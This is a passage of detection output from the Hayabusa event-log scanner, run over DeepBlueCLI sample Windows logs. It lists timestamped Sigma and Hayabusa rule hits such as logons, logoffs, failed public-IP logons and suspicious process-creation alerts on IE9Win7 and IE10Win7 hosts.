+09:00,IE9WIN7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 07:51:29.601 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:51:29.601 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:51:29.601 +09:00,IE9Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:51:34.460 +09:00,IE9Win7,4648,informational,Explicit Logon,Source User: IE9WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:51:34.460 +09:00,IE9Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE9WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x12048 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:51:34.460 +09:00,IE9Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE9WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x12070 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:51:34.460 +09:00,IE9Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x12048,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:56:09.000 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 07:56:09.000 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 08:03:14.476 +09:00,IE9Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x12070,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:34:44.156 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:34:44.156 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:34:54.687 +09:00,IE9Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:34:59.000 +09:00,IE9WIN7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 02:35:04.667 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:35:04.667 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:35:04.667 +09:00,IE9Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:35:09.745 +09:00,IE9Win7,4648,informational,Explicit Logon,Source User: IE9WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:35:09.745 +09:00,IE9Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE9WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x131c3 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:35:09.745 +09:00,IE9Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE9WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x13216 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:35:09.745 +09:00,IE9Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x131c3,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:35:57.635 +09:00,IE9Win7,4648,informational,Explicit Logon,Source User: IEUser : Target User: rdavis : IP Address: - : Process: : Target Server: HYPERV.sharplogic.local,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:38:06.000 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 02:38:06.000 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 02:41:21.932 +09:00,IE9Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x13216,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:43:17.671 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:43:17.671 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:43:31.734 +09:00,IE9Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:43:40.000 +09:00,IE9Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 02:43:56.893 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:43:56.893 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:43:56.893 +09:00,IE9Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:44:39.689 +09:00,IE9Win7,4648,informational,Explicit Logon,Source User: IE9WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:44:39.689 +09:00,IE9Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE9WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x36aed : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:44:39.689 +09:00,IE9Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE9WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x36b1d : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:44:39.689 +09:00,IE9Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x36aed,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:46:03.000 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 02:46:03.000 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 02:59:00.431 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:59:00.431 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:59:00.431 +09:00,IE9Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:15:07.962 +09:00,IE9Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x36b1d,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:16:49.390 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 03:16:49.390 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 03:17:04.250 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:17:08.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 03:17:13.369 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 03:17:13.369 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 03:17:13.369 +09:00,IE10Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:17:19.150 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:17:19.150 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x11c02 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:17:19.150 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x11c32 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:17:19.150 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x11c02,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:20:34.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 03:20:34.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 03:30:25.009 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x11c32,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:21:46.785 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:21:48.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 08:21:50.498 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:21:50.498 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x170f5 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:21:50.498 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x17125 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:21:50.498 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x170f5,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:23:59.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 08:23:59.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 08:24:45.552 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 08:24:45.552 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 08:25:04.605 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x17125,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:25:51.420 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:25:54.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 08:25:55.414 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:25:55.414 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1ac86 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:25:55.414 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1b245 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:25:55.414 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x1ac86,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:26:40.560 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x1b245,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-29 00:46:09.645 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-29 00:46:10.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-29 00:46:12.437 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-29 00:46:12.437 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1a23a : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-29 00:46:12.437 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1a265 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-29 00:46:12.437 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x1a23a,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-29 00:48:19.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-29 00:48:19.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-29 00:48:19.456 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x1a265,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:46:21.297 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-18 23:46:21.297 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-18 23:46:21.750 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:46:21.750 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1e056 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:46:21.750 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1e3c9 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:46:21.750 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x1e056,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:46:33.911 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x1e3c9,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:46:34.426 +09:00,IE10Win7,4634,informational,Logoff,User: IEUser : LogonID: 0x1e3c9,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:46:34.426 +09:00,IE10Win7,4634,informational,Logoff,User: IEUser : LogonID: 0x1e056,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:04.676 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:04.676 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x6831f : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:04.676 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x6832b : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:04.676 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x6831f,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:20.053 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x6832b,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:36.671 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:37.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-18 23:47:38.102 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-18 23:47:38.102 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-18 23:47:38.430 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:38.430 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1dc1e : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:38.430 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1ee41 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:38.430 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x1dc1e,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:48:31.289 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x1ee41,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:49:38.281 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:49:39.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-18 23:49:39.844 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-18 23:49:39.844 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-18 23:49:40.000 